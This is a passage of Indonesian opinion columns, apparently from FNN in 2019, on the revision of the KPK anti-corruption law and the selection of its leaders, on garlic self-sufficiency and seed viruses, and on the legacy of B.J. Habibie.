membatasinya, maka presiden, dengan atau tanpa alasan, sesuai UUD 1945 harus mematuhinya. Itu Titik. Namun harus diingat, yang dapat dibatasi hanyalah kewenangan-kewenangan yang tidak didefenisikan secara tegas dalam UUD 1945. Kewenangan yang UUD 1945 telah mendefenisikannya secara tegas sebagai kewenangan presiden tersebut, tidak bisa dibatasi. Pemberantasan korupsi adalah urusan yang tidak secara tegas didefenisikan dalam UUD 1945. Tetapi korupsi sebagai satu jenis kejahatan, seperti kejahatan lainnya hanya bisa diberantas melalui penegakan hukum. Dan penegakan hukum menurut UUD 1945 adalah wewenang Presiden. Kenyataan atas kewenangan presiden itulah yang terlihat sebelum KPK dibentuk. Kewenangan penegakan hukum dalam rangka memberantas korupsi dilaksanakan oleh Kepolisian dan Kejaksaan. Kedua organ pemerintah ini yang membantu presiden melaksanakan kewenangan pemberantasan kejahatan korupsi itu. Menariknya, segera setelah terbentuknya KPK, presiden diasingkan dari kewenangannya tersebut. Semua urusan korupsi terlihat sepenuhnya sejauh itu sebagai urusan KPK. Presiden-presiden berada dalam keadaan harus mengambil jarak sejauh mungkin dari KPK. Para presiden tak bisa memberi arah secara deteil dalam usaha penegakanm hukum pemberantasan korupsi. Presiden-presiden dipotong kewenangannya dengan sifat independen lembaga KPK. KPK seperti tersaji selama ini, dalam kenyataannya sebagi lembaga superbody. Sebagian disebabkan diintegrasikannya kewenangan penyidikan dan penuntutan. Selain itu, KPK diberikan kewenangan penyadapan tanpa aturan hukum yang rigid. Tidak itu saja. Surat Perintah Penghentian Perkara (SP3) ditenggelamkan dalam-dalam. Orang bisa jadi tersangka bertahun-tahun lamanya tanpa kejelasan. Kasus R.J Lino yang ditetapkan sebagai tersangka oleh KPK sejak akhir tahun 2015 merupakan bukti nayata. KPK menjadi satu dunia sendiri. Dunia yang deteil kewenangannya tak terawasi secara maksimum. Tragis memang. Selalu begitu dalam semua dunia superbody. Dunia yang mirip absolutisame ini, pengawasan ditabukan. Itu teridentifikasi dari ragam pikiran dibalik rencana perubahan undang-undang KPK yang diprakarsai DPR dan disetuju Presiden, kini dianggap sebagai dunia yang tidak sehat. Fakta dan kenyataan ini yang hendak dikoreksi. Deteil koresksinya itu antara lain meliputi (i) menjadikan KPK sebagai bagian dari kekuasaan pemerintahan. (ii) menciptakan lembaga pengawas dan dibekali kewenangan memberi persetujuan penyadapan. (iii) pengaturan deteil penyadapan. (iv) diberikan kewenangan SP3. Sahkah semua rencana koreksi itu? Jawabannya hanya satu, yaitu “sah”. UUD 1945 dan pemikiran konstitusionalisme tentang hak dan kewenangan, sanga jelas. Hak dan kewenangan hanya ada dalam undang-undang. Tidak lain dari itu. Disisi ekstrim lain keabsahan perubahan undang-undang KPK itu terjalin dengan doktrin kedaulatan rayat Indonesia, yakni kedaulatan rakyat dilaksanakan menurut UUD 1945. Pelaksanan doktrin kedaulatan rakyat tersebut, diatur dengan undang-undang. Nalarnya bagaimana? Pakailah undang-undang untuk mendefenisikan hak dan kewenangan tersebut. Termasuk menciptakan unit baru, seperti pengawas misalnya dalam satu organ diKPK. Begitulah sebenarnya bernegara. Titik. Naif betul bila mengasingkan KPK dari kekuasaan pemerintahan, dan pengawasan. Apalagi dengan membiarkan KPK mendefenisikan sendiri pelaksanaan kewenangannya. Sekarang, terlihat nyata bahwa DPR dan Presiden menyadari kekeliruan selama ini. Meskipun terlambat, namun lebih baik, daripada membiarkan KPK dengan dunianya sendiri tanpa pengawasan yang rigid. Kesadaran DPR dan Presiden ini, sejauh disajikan dalam medan UUD 1945, tentu menyehatkan. Naif betul memanggil-manggil datangnya demokrasi dan rule of law. Namiun, pada pada saat yang sama menciptakan organ superbody, yang bekerja dengan pengawasan minimum. Akhirnya harus dinyatakan secara konklusif bahwa gagasan dan deteil rencana perubahan undang-undang KPK, sudah sangat tepat menurut UUD 1945. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Sisi Tak Terlihat Dari Perdebatan Perubahan Undang-Undang KPK

Memerangi korupsi dengan mengandalkan penjara dan memenjarakan sebanyak apapun pelakunya, jelas merupakan sebuah solusi yang cukup dalam dan lebar cacatnya. Toh, secara empiris, hukum pidana korupsi tak pernah terlihat tangguh sebagai sarana paling mengerikan bagi kapitalis-kapitalis. Oleh Dr. Margarito Kamis Jakarta, FNN - Saling sanggah yang begitu bising. Begitu nyata mengiringi perjalanan rencana perubahan undang-undang Komisi Pemberantasan Tindak Pidana Korupsi (UU KPK) yang diprakarsai DPR. Menariknya, saling sanggah yang amat ramai itu, turut diramaikan dengan sejumlah isu dalam pemilihan Komisioner KPK. Macam-macam isunya, dan seperti biasanya satu dan lainnya saling menyangkal. Mau diapakan kenyataan itu? Lupakan saja atau mengenalinya secara lebih mendalam? Yang mau tidak mau harus memasuki sisi-sisi tak terungkap dalam keramaian itu? Dalam kenyataannya, pemerintah dan DPR terus bekerja ditengah saling sanggah yang terus membara. Presiden juga telah menunjuk dua menteri mewikili dirinya untuk bersama DPR membahas rancangan perubahan undang-undang KPK. DPR juga telah berhasil menunaikan kewajiban hukumnya memilih 5 (lima) pimpinan KPK. Apa yang harus dan pantas disuguhkan dalam mengenali kenyataan yang menghebohkan itu? Apakah ini cara demokrasi bekerja? Bila tidak, lalu apa namanya? Demokrasi, suka atau tidak, telah diterima sejauh ini sebagai nilai. Entah itu instrumental atau deliberatif dengan semangat laksana mantra paling ampuh dalam mengelola berbagai urusan. Demokrasi sejauh ini memanggil dan menyuguhkan “tanggung jawab” sebagai sebuah nilai esensialnya. Untuk menggapainya, demokrasi menyodorkan postulat bahwa tanggung jawab hanya dapat direalisir bila cara atau proses bernegara yang masuk akal. Misalnya, seleksi pimpinan satu lembaga negara terlihat masuk akal. Seleksi itu terakses dan tersaji pada setiap kesempatan untuk semua orang, terutama mereka yang memilih pemerintah dan DPR. Tetapi harus diakui sedari awal bahwa adanya demokrasi yang menyimpan sisi hitam. Sisi manipulatif, yang tak tersunguhkan secara terbuka, karena romantisme demokrasi itu sendiri. Kenalilah Demokrasi memang menyodorkan hukum sebagai perisai terbaiknya. Karena itu hukum diyakini merupakan perkara paling netral yang dapat diandalkan membentengi demokrasi. Tetapi bila saja ada kemauan untuk memeriksa detailnya atau rincian hukum di alam demokrasi, maka akan ditemukan kenyataan demokrasi dan hukum sama-sama memiliki sisi mematikan. Sisi yang mengasingkan dan menjauhkan, Misalnya pemilih dipisahkan dari proses bernegara. Sisi mematikan demokrasi dan hukum yang tidak selalu mudah dikenali. Karena satu sebab utama, yaitu demokrasi dan hukum terlanjur diterima sebagai pranata tanpa cacat. Premis ini diperumit, dalam makna menguatkan sisi menakjubkannya oleh kampanye sistimatis multinasional corporation tentang demokrasi dan hukum itu. Multinational corporation datang dengan membawa rule of law. Supremasi hukum, akuntabilitas dan transparansi sebagai mantra global yang harus dipromosikan bersama. Semua negara harus mengkampanyekan rule of law untuk satu kehidupan global yang hebat. Mereka datang dengan global constitutionalisme atau cosmopolitan constitution. Yang dengan itu, negara-negara dunia ketiga harus mengintegrasi kehidupan nasional dengan semua yang digaungkan barat. Gemanya membawa negara-negara non barat mengabaikan sisi mematikan dan menyengsarakan yang terkandung di dalamnya. Dalam konteks itu, harus diakui bahwa korupsi teridentifikasi sebagai hambatan paling mematikan atas persaingan bebas. Sebuah iklim usaha yang sedari awal diprakarsai oleh kapitalis tulen awal abad ke-17 di Inggris dan awal abad ke-20 di Amerika. Suap-menyuap, jual beli jabatan dan kewenangan teridentifikasi oleh kapitalis-kapitalis ini sebagai hal menjijikan dalam semua aspeknya. Dengan demikian, korupsi dan elemen-elemennya yang serupa harus diisolasi pada setiap sudutnya. Korupsi akhirnya teridentifikasi sebagai iblis yang bergentayangan di dalam rumah. Siapapun pasti tidak rela membiarkanya. Itu pula sebabnya korupsi harus diusir, dibasmi, diberantas. Tidak ada sisi baik di dalamnya. Dan itu jelas. Korupsi tak sedikitpun menolong keadilan. Korupsi justru meluluhlantakan keadilan. Korupsi memukul rata kesetaraan, dan pada saat yang sama mengonsolidasi diskriminasi dalam semua aspeknya, serta menelan habis semua keunggulan sebuah bangsa. Kenyataan inilah yang membalut dan teridentifikasi di Indonesia menyusul turbulensi ekonomi dan politik tahun 1998. Kenyataan itu dikristalkan dalam satu kalimat bernada propagandis “Indonesia berada dalam keadaan darutarat korupsi.” Memeranginya menjadi pilihan masuk akal yang tersedia. Pilihan itu muncul ditengah kekacauan politik hampir pada semua lapangan kehidupan politik nasional. Perbaikan Tak tersedia pilihan lain selain mengonsolidasi sejumlah aspek demokrasi dalam kehidupan bernegara. Dalam konteks itu Indonesia bergerak kedepan dengan mengkreasikan satu lembaga baru. KPK lah sebuah lembaga negara baru tersebut. Sayangnya harus diakui bahwa KPK tidak sepenuhnya memiliki pijakan kokoh di dalam UUD 1945. Dalam sejarahnya, lembaga serupa ditemukan pembentukannya untuk pertama kali di Amerika tahun 1887. Namanya Interstate Commerce Commission (ICC). Ditunjang kedangkalan pengetahuan sifat hukum lembaga serupa di Amerika Serikat, KPK disematkan sifat hukumnya sebagai lembaga negara yang independen. Selain independen, KPK juga lembaga negara yang mandiri. Sifat yang independen dan mandiri, merupakan sebuah sifat khas konstitusi untuk kekuasaan kehakimanpun, dilekatkan kepada KPK. Kenyataan ini mengakibatkan lembaga ini persis seperti kekuasaan kehakiman. KPK pun bekerja dengan cara yang ditentukan sendiri. Dari situ masalahnya. Rinciannya adalah KPK sebagai lembaga pelaksana hukum, penegakan hukum. Padahal posisi tersebut yang merupakan kewenangan derivasi dari kekuasaan presiden sebagai pemegang kekuasaan melaksanakan hukum menurut UUD 1945. Sayangnya, presiden tidak bisa, dengan alasan konstitusional sekalipun, membimbing, mengarahkan KPK. Apalagi sampai mengdalikan penegakan hukum yang dijalankan oleh KPK. Pembatasan jangkauan kekuasaan presiden semakin mengeras dengan konsep criminal justice system. Sebuah konsep hukum pidana yang menerangkan penyidikan sebagai bagian dari rangkaian bekerjanya peradilan pidana. Celakanya, karena penegakan hukum tidak akan disebut demikian bila tidak ada tindakan penyidikan. Tetapi sialnya, tindakan penyidikan ini justru diberi sifat peradilan. Sebuah sifat yang membatasi jangkauan kekuasaan presiden, terlepas dari siapapun orangnya. Demokrasi datang bersamaan, dan atau memanggil rule of law pada kesempatan pertama kehadirannya. Pada level empiris sekalipun, dirangsang kehadirannya dengan kehendak mencegah absolutisme. Sebab ujung dari kekuasaan yang absolutisme adalah korupsi. Pembatasannya harus dilakukan, namun tidak dengan senjata terkokang. Melainkan dengan menghadirkan hukum. Cara lainnya adalah menyebar kewenangan lembaga-lembaga itu secara tumpang tindih. Tujuannya, agar mereka dapat saling mengawasi secara berimbang. Begitulah demokrasi menyodorkan cara mengekang potensi perilaku tiranis satu lembaga terhadap lembaga lainnya. Dalam medan aktualisasi kewenangan menyelenggarakan kekuasaan negara. Hanya dengan cara itu pulalah akuntabilitas dan transparansi terpancarkan. Hanya dengan cara itu. Dan itulah sebabnya, demokrasi yang memiliki sisi manipulatif akan menertawakan negara apapun yang memungkinkan lembaga-lembaga negara berada di luar pengawasan. Baik itu pengawasan teknis maupun politis. Agar pengawasan juga tak dilakukan secara sewenang-wenang. Untuk itu, demokrasi yang dibalut dengan rule of law menempatkan pada posisi pertama adalah supremasi hukum itu. Mengharuskan pengawasan itu harus didefenisikan dalam hukum. Walaupun demikian, hukum yang hendak dibuat tersebut, harus dengan tepat mendefenisikan jangkauan pengawasannya secara rigid. Jangan sampai hukum yang mengatur pengawasan itu justru mematikan lembaga yang diawasi. Soal ini menjadi penting, karena hukum tidak datang dengan sendirinya. Hukum itu diciptakan oleh penciptanya, badan pembuat undang-undang. Sehingga mereka dapat mengisinya dengan berbagai macam kehendak. Yang satu dan lainnya bisa saling mengasingkan. Termasuk menciptakan norma yang tidak berkepastian. Menciptakan norma bersyap-sayap pengertiannya. Akibatnya, pemegang otoritas, sesuai dengan kewenangannya dapat menentukan sendiri apa yang bisa dan apa yang tidak bisa dilakukan. Kondisi seperti ini sangatlah berbahaya. Hukum bisa melemahkan dan menyengsarakan bangsa. Hukum tak berkepastian disatu sisi. Terjalin dengan organisasi yang tak bisa diawasi disisi ekstrim lainnya. Dengan alasan apapun tak bisa dikatakan bukan merupakan panggilan terhadap tindak-tanduk diskriminasi. Tindak-tanduk diskriminasi memang merupakan tipikal organisasi absolut. Namun untuk kasus tertentu, diskriminasi menandai secara telanjang tindak-tanduk lembaga negara di alam demokrasi. Kondisi seperti ini harus diluruskan. Bukan karena demokrasi menentang diskriminasi, tetapi adab berkehidupan kebangsaan yang adil mengharuskannya. Korupsi akan terus ada di tengah-tengah kehipan. Sepajang aktifitas ekonomi dan politik terus mewarnai dunia. Tidaklah lebih dari itu. Caranya, akan berkembang mengikuti kecepatan kreasi dalam menerjangnya. Menerjang korupsi dengan mengandalkan penjara dan memenjarakan sebanyak apapun pelakunya, jelas merupakan sebuah solusi yang cukup dalam dan lebar cacatnya. Toh, secara empiris, hukum pidana korupsi tak pernah terlihat tangguh sebagai sarana paling mengerikan bagi kapitalis-kapitalis. Kapitalis dalam korporasi berskala global selalu merupakan entitas paling tangguh. Mereka berlari cepat melampaui kesadaran masyarakat atas kelakuan negatifnya melakukan korupsi. Merekalah entitas yang tak berhenti menari ditengah perang melawan korupsi. Hukum juga selalu begitu di alam empiris. Tak handal mengekang mereka. Meski demikian, selemah itu sekalipun, demokrasi dan kehidupan beradab tak bisa diayuh tanpa hukum. Pemilih ditakdirkan demokrasi sebagai barang sekali pakai dalam lima tahun. Pemilih tak memiliki kendali atas hasil pemilu, Pemilih tak pernah tahu siapa yang terpilih, menemukan nasib yang selalu berjarak amat jauh dengan mereka yang dipilih. Nasib pemilih di demokrasi begitulah adanya. Pemilihj juga tak dapat mengendalikan mereka yang dipilih, apalagi mengarahkan tindak-tanduk mereka yang dipilih itu. Partisipasi yang merupakan bualan canggih demokrasi, jelas tak memungkinkan pemilih menentukan norma macam apa yang pantas dipositifisasi oleh pembuat hukum. Membuat hukum, dalam demokrasi sekelas apapun di level global adalah pekerjaannya para elit politik. Semnatar para elit politik ini bukanlah entitas yang mengayuh langkahnya dengan belas kasihan kepada pemilihnya. Para elit bekerja pada kemauannya sendiri, sementara para pemilih hanya bisa berharap dalam kenyataan yang berbeda dengan elit Kenyataan seperti itu sekalipun, para pemilih mesti tetap merinukan eliti-eliti politik yang bermurah hati. Pemilih berharap elit politik dapat mendefenisikan jangkauan otoritas pengawasan secara rigid. Sembari pada saat yang bersamaan memastikan penegakan hukum merupakan cara membuat keunggulan bangsa menemukan kesempatan untuk bersinar. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Tantangan Besar Mewujudkan Swasembada Bawang Putih

Permasalahan produktivitas rendah bukan kesalahan petani. Juga bukan kesalahan lahan bumi pertiwi yang tidak cocok. Masih banyak lahan di Indonesia yang bisa, dan sangat layak untuk ditanami bawang putih. Dan ini sudah terbukti dengan Indonesia swasembada bawang putih pada tahun 1994. Tetapi, permasalahan utama produktivitas rendah kemungkinan besar disebabkan oleh kualitas benih bawang putih Indonesia kurang baik, dan kurang layak. Oleh Anthony Budiawan Jakarta, FNN - Indonesia adalah negara importir bawang putih terbesar dunia. “Menguasai” 17,6 persen pasar impor dunia pada tahun 2016. Devisa yang dikeluarkan sekitar U$ 674 juta dolar. Jumlah tersebut setara dengan Rp 9,5 triliun, bila menggunakan kurs yang berlaku saat ini. Banyak pihak merasa tidak masalah dengan kenyataan pahit ini. Karena Indonesia dianggap tidak mampu bersaing dengan produsen bawang putih asing, khususnya China. Ada pihak yang menyuarakan nada sumbang. Bahwa bawang putih tidak cocok ditanam dibumi pertiwi ini. Padahal sampai dengan tahun 1994, Indonesia dapat memenuhi seluruh kebutuhan nasionalnya dari dalam negeri. Dari hasil produksi dan penanaman di Indonesia. Dengan kata lain, Indonesia ketika itu sudah mampu swasembada bawang putih. Bawang putih Indonesia saat ini kalah bersaing dengan bawang putih luar negeri adalah suatu fakta yang harus dicarikan solusinya. Tidak harus menyerah begitu saja. Pada hakekatnya, daya saing, dalam banyak bidang, bisa dibangun. Misalnya Toyota, yang mampu mematahkan hegemoni industri otomotif Barat pada tahun 1980-an. Masalah utama rendahnya daya saing bawang putih Indonesia karena produktivitas penanaman (budidaya) bawang putih sangat rendah. Dan produktivitas ini terus menurun. Hal ini mengakibatkan biaya produksi bawang putih Indonesia menjadi sangat mahal sekali. Dan terus meningkat seiring menurunnya produktivitas. Biaya produksi bisa mencapai Rp 20.000 per kilogram, bahkan bisa lebih. Di China, biaya produksi bawang putih hanya sekitar Rp 7.500 per kilogram saja. Permasalahan produktivitas rendah bukan kesalahan petani. Juga bukan kesalahan lahan bumi pertiwi yang tidak cocok. Masih banyak lahan di Indonesia yang bisa, dan sangat layak untuk ditanami bawang putih. Dan ini sudah terbukti dengan Indonesia swasembada bawang putih pada tahun 1994. Tetapi, permasalahan utama produktivitas rendah kemungkinan besar disebabkan oleh kualitas benih bawang putih Indonesia kurang baik, dan kurang layak. Bawang putih adalah tanaman yang dibudidayakan secara vegetatif. Yaitu, benih yang ditanam berasal dari siung bawang putih tersebut. Karena kemampuan bawang putih untuk melakukan reproduksi secara alami (sexually reproduction) sangat buruk. Sehingga penanaman dari benih biji-bijian, atau secara generatif, sulit dilakukan. Penanaman bawang putih secara vegetatif mempunyai kelemahan mendasar. Yaitu, rentan terjangkit virus. Dan virus tersebut akan ikut terbawa ke tanaman berikutnya. Dengan kata lain, terbawa turun menurun. Virus-virus tersebut, antara lain LYSV (Leek Yellow Stripe Virus), OYDV (Onion Yellow Dwarf Virus), atau secara keseluruhan disebut Garlic Viral Complex (GVC). Bisa mengakibatkan pertumbuhan umbi bawang putih menyusut hingga 50 - 70 persen. Artinya, umbi bawang putih yang terkena vitus akan mengecil. Dan produktivitas turun drastis. Berat umbi bawang putih Indonesia ada yang hanya 15 gram saja, bahkan kurang. Dan paling besar mungkin sekitar 25 gram. Sedangkan bawang putih China bisa mencapai 45 - 50 gram. Apakah perbedaan berat yang menyolok ini karena perbedaan varitas? Atau karena bawang putih Indonesia memang sudah terjangkit virus secara turun temurun yang membuat umbi mengecil? Mengingat penanaman bawang putih Indonesia dilakukan secara vegetatif terus menerus. Dan selama ini tidak ada pemurnian benih. Besar kemungkinan bawang putih Indonesia sudah terjangkit virus yang membuat pertumbuhannya umbinya tidak maksimal, dan kecil. Untuk bisa meningkakan daya saing bawang putih Indonesia di pasar global, Indonesia harus melakukan pemurnian benih bawang putih agar terbebas dari virus. Sehingga membuat umbi menjadi lebih besar, dan lebih berat. Selain itu, membuat produktivitas tanam meningkat tajam. Dampaknya, biaya produksi bawang putih turun drastis. Tanpa pemurnian benih, niscaya target swasembada bawang putih 2021 sulit tercapai. Bisa saja mungkin selamanya tidak akan pernah tercapai. Akibat dari produktivitas rendah, dan biaya produksi tinggi. Artinya, pemurnian benih yang terbebas virus merupakan prasyarat utama untuk bisa swasembada. Dengan benih yang terbebas dari virus, produktivitas bisa meningkat dua sampai tiga kali lipat. Petani akan lebih sejahtera. Dan, ini merupakan tantangan utama bagi kita semua untuk bisa mewujudkan swasembada bawang putih scepat-cepatnya. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

KPK: Setelah Dibonsai, Diletakkan di Bawah Hutan Korupsi

Keputusan voting DPR malam tadi menunjukkan bahwa mereka sangat berkeberatan terhadap ketegasan KPK dalam memberantas korupsi. Sekarang, DPR puas. KPK periode berikutnya menjadi bonsai. Setelah dibonsai, disirami racun. Setelah itu, KPK-bonsai diletakkan di bawah hutan lindung korupsi. By Asyari Usman Jakarta, FNN - Di upacara pemakanan presiden ketiga RI, kemarin (12/9/2019) semua kata pengantar menyebutkan bahwa BJ Habibie adalah teladan untuk membuat Indonesia lebih baik dan semakin baik. Ironisnya, beberapa belas jam saja setelah kata pengantar yang menyejukkan itu, para anggota DPR melakukan tindakan yang bisa membuat Indonesia semakin parah lagi dari kondisi buruknya akhir-akhir ini. Mereka melaksankan sidang kilat untuk memilih ketua KPK (Komisi Pemberantasan Korupsi) dan empat komisioner lainnya. Mereka pilih Irjen Firli Bahuri sebagai ketua KPK. Firli adalah calon yang penuh kontroversi sejak awal proses seleksi. Hanya ada satu makna untuk pilihan DPR ini. Yaitu, mereka tidak lagi mewakili rakyat. Mereka menunjukkan ‘defiant’ (keras kepala) di depan rakyat yang memberikan mandat. Dalam sidang Komisi III yang berlangsung tengah malam buta, DPR memaksakan Firli menjadi ketua KPK. Rakyat jelas-jelas menentang keras. Keputusan voting DPR malam tadi menunjukkan bahwa mereka sangat berkeberatan terhadap ketegasan KPK dalam memberantas korupsi. Sekarang, DPR puas. KPK periode berikutnya menjadi bonsai. Setelah dibonsai, disirami racun. Setelah itu, KPK-bonsai diletakkan di bawah hutan lindung korupsi. Persis! KPK dibonsai dan diracun, kemudian disuruh hidup di bahwa hutan korupsi yang dilidungi. Revisi UU tentang KPK nomor 30 Tahun 2002 yang berintikan pembentukan Dewan Pengawas, penghapusan OTT dan penggeledahan, serta menjadikan pegawai KPK sebagai ANS biasa, adalah tindakan yang membuat KPK menjadi bonsai. Lembaga ini menjadi kerdil. Kerdil di tengah hutan lindung korupsi. Inilah jenis hutan yang tumbuh sangat subur di bumi Indonesia ini. Kemudian, kesepakatan DPR memilih Irjen Firli Bahuri menjadi ketua KPK masa jabatan 2019-2023, adalah tindakan meracun lembaga antikorupsi itu. Firli ditentang keras oleh internal KPK dan sekian banyak LSM pemantau korupsi. Sebab, beliau diduga melakukan pelanggaran berat kode etik KPK ketika bertugas menjadi Deputi Penindakan di lembaga ini sebelum dipromosikan menjadi Kapolda Sumatera Selatan. KPK yang Anda harapkan itu, tidak lagi menjadi pohon yang tinggi-besar di hutan korupsi. Dia kini menjadi bonsai. Menjadi pohon yang ditanam di pot bunga dan diletakkan di tengah hutan korupsi itu. Bisa Anda dibayangkan bagaimana kira-kira eksistensi KPK di tengah hutan korupsi. Hutan yang dilindungi oleh revisi UU KPK. Kalau dilihat reaksi sejumlah petinggi KPK petahana, jelas terlihat ‘mosi tak percaya’ terhadap pilihan DPR. Penasihat KPK, Tsani Annafari, meletakkan jabatan. Dia tak sudi lagi menasihati KPK periode berikut. Kemudian, Wakil Ketua Saut Situmorang juga spontan menyatakan pengunduran diri. Tetapi masih diminta bertahan sampai Desember 2019. Yang cukup mengherankan, atau bisa juga tidak mengherankan, adalah posisi Presiden Jokowi. Setelah beliau mendapatkan masukan dari kalangan pegiat antikorupsi dan para tokoh bangsa, Jokowi tetap saja menyerahkan 10 nama capim KPK hasil seleksi tim Yenti Ganarsih ke DPR. Tanpa ada catatan. Diserahkan utuh. Padahal, dengan kekuasaan besar di tangannya, Presiden bisa memveto hasil seleksi itu atau mencoret nama-nama yang bermasalah. Artinya, Presiden Jokowi bisa menyerahkan 8 atau 9 nama capim saja ke DPR dari 10 nama yang disampaikan oleh Yenti Ganarsih. Tidak ada masalah. Karena DPR hanya perlu memilih lima (5) komisioner saja. Begitulah yang terjadi. Rakyat harus menelan keputusan DPR ini tanpa bisa membantah lagi. Keputusan ini final dan mengikat. Kalau Anda bertanya mengapa DPR dan pemerintah bisa kompak? Mungkin salah satu jawabannya adalah bahwa statistik penangkapan OTT KPK menunjukkan banyak orang DPR dan orang pemerintah yang terjaring. Penulis adalah Wartawan Senior

Puja-puji Dari Penjegal Habibie & Kesadaran Yang Terlambat

Kini Habibie telah menghadap Sang Khalik. Para elit dan tokoh yang menjadi lawan politik Habibie, yang dulu menjegal langkah Habibie untuk menjadi capres lagi, kini memuji Habibie setinggi langit. Mereka yang dulu menilai negatif kebijakan-kebijakan Habibie, justru berbalik badan seratus delapan puluh derajat memuja-muji Habibie. Sekarang tidak ada satupun elit poilitik negeri ini yang menolak penyematan gelar “Bapak Demokrasi” kepada Habibi. Oleh Gde Siriana Yusuf Jakarta, FNN - Habibie naik menjadi Presiden RI ke-3 menggantikan Soeharto pada 21Mei 1998. Begitu selesai dilantik menjadi presiden, pekerjaan berat sudah menanti. Saat itu ekonomi nasional hancur lebur. Nilai tukar rupiah pada Januari 1998 adalah Rp.14.800 per dolar Amerika. Bahkan 40 hari setelah menjadi Presiden nilai tukar rupiah anjlok lagi ke Rp.16.800 per dolar Amerika. Krisis ekonomi juga diperparah dengan kerusuhan-kerusuhan di berbagai kota. Habibie terus bekerja keras bersama para menterinya. Pelan-pelan ekonomi nasional diperbaiki dengan kebijakan yang efektif. Dalam kurun waktu 17 bulan masa kepemimpinannya, Habibie berhasil menurunkan kurs rupiah ke Rp.6.500 per dolar Amerika. Bahkan hiperinflasi yang sempat double digit akibat rupiah anjlok, dan diikuti dengan kelangkaan bahan-bahan sembako juga dapat kembali ke single digit. Pada Januari-September 1999, laju inflasi hanya mencapai 2%. Padahal dalam periode sama tahun 1998 mencapai 75,47%. Pada eranya Habibie ini pula berbagai kebijakan IMF harus dilakukan pemerintah Indonesia sesuai kesepakatan yang dibuat bersama IMF. Indonesia diwakili langsung oleh Presiden Soeharto dan IMF yang diwakili Direktur Eksekuitve Michel Camdessus. Kesepakatan Indonesia dengan IMF ditandatangani tanggal 15 Januari 1998. Point penting kesepakatan tersebut, antara lain likuidasi bank-bank yang bermasalah. Selain itu, menghentikan proyek-proyek besar seperti industri pesawat terbang nasional. Pada saat yang bersamaan, Habibie juga mempertahankan kebijakan tarif dasar listrik dan BBM bersubsidi, serta subsidi bahan-bahan pokok agar terjangkau oleh masyarakat di tengah krisis ekonomi. Keberhasilan dalam menyelamatkan ekonomi nasional tidak otomatis memuluskan langkah politik Habibie. Musuh-musuh politik Habibie tetap berkeras kepala menghentikan Habibie. Pidato pertanggungjawaban Habibie dalam Sidang Istimewa MPR 1999 dinyatakan ditolak pada tanggal 20 Oktober 1999. Keputusan MPR inilah yang menyurutkan langkah Habibie untuk mencalonkan diri lagi sebagai presiden periode berikutnya. Isu utama untuk menjegal Habibie maju lagi dalam Pilpres berikutnya adalah stigma bahwa Habibie bagian dari Orde Baru. Pihak oposisi, dimotori oleh parpolnya Habibie sendiri Golkar. Aktor utamanya adalah Akbar Tanjung. Alasan mereka, kesalahan terbesar yang Habibie lakukan saat menjabat sebagai Presiden ialah memperbolehkan diadakannya referendum provinsi Timor Timur (sekarang Timor Leste). Puncaknya, Timor Timur lepas dari NKRI pada 30 Agustus 1999. Dalam bukunya, Habibie mengaku hendak sesegera mungkin menyelenggarakan referendum Timor Timur. Alasannya, dalam konteks krisis ekonomi, Indonesia membutuhkan bantuan finansial negara-negara donor dan IMF. Sementara Negara-negara donor dan IMF mensyaratkan penyelesaian persoalanTimor Timur, agar presiden yang menggantikannya,tidak perlu pusing. Dengan demikian, siapa pun menjadi presiden dan wakil presiden nanti, dapat memberi perhatian penuh kepada penyelesaian masalah politik, dan masalah ekonomi nasional. Tidak lagi diganngu dengan persoalan Timor-Timut. Kini Habibie telah menghadap Sang Khalik. Para elit dan tokoh yang menjadi lawan politik Habibie, yang dulu menjegal langkah Habibie untuk menjadi capres lagi, kini memuji Habibie setinggi langit. Mereka yang dulu menilai negatif kebijakan-kebijakan Habibie, justru berbalik badan seratus delapan puluh derajat memuja-muji Habibie. Sekarang tidak ada satupun elit poilitik negeri ini yang menolak penyematan gelar “Bapak Demokrasi” kepada Habibi. Gelar sebagai “Bapak Demokrasi”, sesungguhnya mempunyai relevansi yang kuat dengan referendun terhadap Timor Timur. Sesuatu yang sebenarnya tidak mengherankan. Dengan berjalannya waktu, banyak pihak yang berbalik menilai positif pemerintahan Habibie. Entah apakah puja-puji dari para pembenci Habibie dahulu ini sebagai kesadaran yang terlambat ? Atau hanya sekedar mengikuti emosional mainstream ketika menerima kabar wafatnya Habibie. Padahal prestasi Habibie dalam 17 bulan pemerintahannya telah menyelamatkan ekonomi nasional. Namun tetap saja Habibie tidak diakui. Hanya demi agenda politik para elit, yang nyatanya 20 tahun kemudian Indonesia menjadi negara dengan begitu banyak masalah seperti saat ini. Satu yang tidak bisa dibantah siapapun dari jasa-jasa Habibie adalah "penguasaan teknologi dirgantara oleh bangsa Indonesia" telah diakui dunia. Habibie sendiri yg buat rancang bangun pesawat produksi Nurtanio/IPTN. Terkait teknologi ini, saya berharap semoga kisah mobil nasional nanti tidak "jomplang" dengan kisah suksesnya pesawat terbang nasional. Tidaklah mengherankan jika Habibie menjadi pemimpin yang inspiratif. Habibie satu-satunya Presiden Indonesia yang dijadikan benchmark atau contoh para orang tua ketika nasehati anaknya belajar agar jadi orang pintar seperti Habibie. Para Orang tua tak pernah bilang kepada anak-anaknya agar jadi orang seperti Soekarno, Soeharto, Gus Dur, Megawati, SBY, apalagi Jokowi. Kembali pada kesadaran yang terlamba tersebut, apakah perlu waktu 20 tahun untuk menyadarinya? Apakah ini merupakan penyakit kultural bangsa Indonesia? Atau agenda-agenda terselubung untuk menghancurkan bangsa Indonesia? Saat negara asing seperti China dan Barat ingin menguasai Indonesia, bisa jadi kesadaran yang terlambat datang 20 tahun lagi. Ketika itu kita sebagai bangsa sudah tidak memiliki apapun. Semuanya sudah dikuasai oleh perusahaan-perusahaan asing. Berangkat dari kenyataan Habibie ini, apakah memang naturnya elit politik kita takut kepada pemimpin yang cerdas dan punya visi atas masa depan bangsanya? Mereka lebih baik memilih pemimpin yang bodoh, dan mudah diatur oleh elit. Bahkan pemimpin yang ikut saja apa maunya negara asing. Saya menduga, para elit ini juga yang akan pertama kali berbalik meninggalkan pemimpin pilihannya di saat kesulitan yang dialami negara tak lagi bisa diobati. Tujuannya agar para elit tidak dituduh sebagai dalang dari semua bencana. Selamat jalan profesor BJH. Bapak dan pendekar Demokrasi Indonesia. Semoga kembali sebagai jiwa yang tenang. Indonesia akan selalu mengenangmu. Aamiin ya robbal alamin. Penulis adalah Direktur Eksekutif Goverment and Political Studies (GPS)

